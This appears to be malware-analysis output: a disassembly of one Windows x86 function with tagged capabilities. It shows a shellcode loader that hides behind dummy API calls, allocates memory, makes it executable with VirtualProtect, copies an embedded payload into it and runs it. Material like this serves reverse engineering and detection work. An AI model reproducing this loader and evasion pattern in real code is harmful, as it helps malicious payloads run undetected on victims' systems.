Function at 0x40321b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1030
call fcn.0040c790
push esi
xor esi, esi
cmp dword [0x61a120], 0x5b1
push edi
jne 0x4032cd
push esi
lea eax, [ebp - 0x830]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push esi
push esi
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push 0x402d98
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push esi
call dword [sym.imp.GDI32.dll_GetPolyFillMode]
push 0x402db8
push esi
call fcn.00403bed
push esi
push esi
push esi
push esi
call fcn.00403ea4
push esi
call fcn.004039d5
push esi
push esi
call fcn.00403f48
push esi
push esi
call fcn.004039e0
add esp, 0x2c
call fcn.00403543
push esi
call fcn.00404556
add dword [0x61a120], 0x1134b
push ebx
push dword [0x61a120]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push dword [0x61a120]
mov dword [0x619074], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403327
inc edi
cmp edi, 0x4f6a4
jl 0x403305
mov eax, dword [0x61a120]
xor ecx, ecx
cmp eax, esi
jbe 0x40334d
mov edx, dword [0x61a124]
mov dl, byte [edx + ecx + 0x1134b]
mov edi, dword [0x619074]
mov byte [edi + ecx], dl
inc ecx
cmp ecx, eax
jb 0x403332
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0xe
jne 0x403382
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [0x61a120]
inc edi
cmp edi, 0x39621
jl 0x40334f
mov edi, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
dec edi
jne 0x403390
call fcn.0040314d
push esi
call ebx
cmp edi, 0x26
jne 0x4033c0
call fcn.00403201
inc edi
cmp edi, 0x6753f
jl 0x4033b3
push 0x7b
pop edi
pop ebx
cmp dword [0x61a120], 0x86
jne 0x40340e
push esi
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
lea eax, [ebp - 0x1030]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec edi
jne 0x4033cd
call fcn.00402f05
pop edi
pop esi
leave
ret